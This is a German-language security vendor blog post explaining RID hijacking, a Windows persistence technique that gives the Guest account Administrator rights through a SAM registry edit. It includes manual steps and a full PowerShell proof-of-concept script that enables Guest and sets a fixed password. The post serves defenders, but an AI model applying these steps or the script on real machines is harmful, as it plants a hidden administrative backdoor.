Magic Quadrant™ für Privileged Access Management 2025: Netwrix zum vierten Jahr in Folge anerkannt. Laden Sie den Bericht herunter.

Plattform
Ressourcen­zentrumBlog
RID Hijacking: Wie Gäste zu Admins werden

RID Hijacking: Wie Gäste zu Admins werden

May 20, 2023

RID-Hijacking ist eine Persistenztechnik, die von Angreifern verwendet wird, die eine Windows-Maschine kompromittiert haben. Kurz gesagt, nutzen Angreifer die RID (Relative Identifier) des lokalen Administrator-Kontos, um dem Gastkonto (oder einem anderen lokalen Konto) Admin-Rechte zu gewähren. Auf diese Weise können sie Aktionen mit dem Gastkonto durchführen, das normalerweise nicht unter dem gleichen Überwachungsniveau wie das Administrator-Konto steht, um ihren Angriff auszuweiten, während sie unentdeckt bleiben.

Wie der Angriff funktioniert

Um RID-Hijacking durchzuführen, muss ein Angreifer bereits eine Maschine kompromittiert und administrative oder SYSTEM-Privilegien erlangt haben, da diese benötigt werden, um den RID-Wert des Gastkontos auf den RID des Administrator-Kontos zu ändern. Diese Werte sind wie folgt:

  • Administrator: 0x1F4 in Hexadezimal (500 in Dezimal)
  • Gast: 0x1F5 in Hexadezimal (501 in Dezimal)

Schritt 1. Im Registrierungseditor suchen Sie unter dem SAM-Schlüssel nach dem Users-Unterschlüssel. Klicken Sie dann auf 000001F5 um die Details des Gastkontos anzuzeigen:

Image

Schritt 2. Der F-Wert speichert die RID des Kontos. Um diesen Wert zu bearbeiten, klicken Sie ihn mit der rechten Maustaste an und wählen Sie Ändern aus dem Menü. Das Fenster zum Bearbeiten des Binärwerts wird geöffnet:

Image

Schritt 3. An der Position 30 befindet sich der Wert 0x1F5, der die RID des Gastkontos ist. Ändern Sie diesen Wert einfach in 0x1F4, die RID des Administrator-Kontos.

Die Ausführung des Befehls whoami unter dem Gastkonto bestätigt, dass das Gastkonto nun die Administrator-RID besitzt, welche der letzte Teil der angezeigten SID ist (500 in Dezimalzahlen):

Image

Proof of Concept Script

Hier ist ein Skript, das Sie verwenden können, um einen Proof of Concept für diese Schwachstelle auszuführen (auch verfügbar auf GitHub):

      <#
	Date 10/24/2018
	Author: Kevin Joyce
	Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
	
	USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
	#>
	

	#set path of target key
	$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
	

	#get content of target value
	$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F" 
	

	#exports contents of current registry values, allows to roll back if corruption occurs
	reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
	Write-Host 'Registry key exported.'
	

	#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
	$newValue = 244
	if ($binaryValue[48] -notin (244,245)){
	    throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
	    stop
	} else {
	    $binaryvalue[48] = $newValue
	    Write-Host 'Value at 0x30 set to '  $binaryValue[48]
	}
	

	

	#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
	$newvalue = 20
	if ($binaryValue[56] -notin (20,21)){
	    throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
	    stop
	} else {
	    $binaryvalue[56] = $newvalue
	    Write-Host 'Value at 0x38 set to '  $binaryValue[56]
	}
	

	#iterate through every position from original value converting to hexadecimal and storing in new variable
	$hexValue = ''
	for ($i =0; $i -lt $binaryValue.length; $i++){ 
	    $hexValue += "{0:x2}" -f $binaryValue[$i]  
		}
	Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
	pause
	 
	#set value of F to contents of variable
	reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY  /d $hexValue /f 
	Write-Host 'Guest account enabled and RID set to 500.'
	

	#set Guest password
	$password = '!Password123!'
	net user guest $password
	Write-Host 'Guest account password set to' $password
	Write-Host ""
	

	Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account." 
	Write-Host ""
	Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
	pause
	

	#imports exported contents of previous registry keys, rolls back all changes
	reg import .\export.reg
	Write-Host 'Registry key rolled back to original.'
	Write-Host 'Proof of concept complete.'
	pause

      

Wie Netwrix helfen kann

Netwrix bietet zwei Lösungen an, die Ihnen helfen können, sich gegen RID-Hijacking zu verteidigen:

  • Die Netwrix Privileged Access Management solution ermöglicht es Ihnen, verdächtige Aktivitäten im Zusammenhang mit privilegierten Konten zu erkennen — einschließlich Versuchen, Benutzerkonten zu modifizieren, wie es beim RID-Hijacking vorkommt. Sie befähigt Sie auch dazu, starke Kennwortrichtlinien durchzusetzen, um unbefugten Zugriff auf privilegierte Konten von vornherein zu verhindern, und die Verwendung von privilegierten Konten nur auf jene Aufgaben zu beschränken, die erhöhte Privilegien erfordern.
  • Netwrix Change Tracker überwacht Änderungen an Ihrer Sicherheitskonfiguration — einschließlich Änderungen der RID-Werte von Active Directory-Konten.

Teilen auf

Erfahren Sie mehr

Über den Autor

Asset Not Found

Kevin Joyce

Direktor für Product Management

Director of Product Management bei Netwrix. Kevin hat eine Leidenschaft für Cybersicherheit, insbesondere das Verständnis der Taktiken und Techniken, die Angreifer nutzen, um Umgebungen von Organisationen auszunutzen. Mit acht Jahren Erfahrung im Produktmanagement, mit Schwerpunkt auf Active Directory und Windows-Sicherheit, hat er diese Leidenschaft genutzt, um Lösungen für Organisationen zu entwickeln, die ihre Identitäten, Infrastruktur und Daten schützen helfen.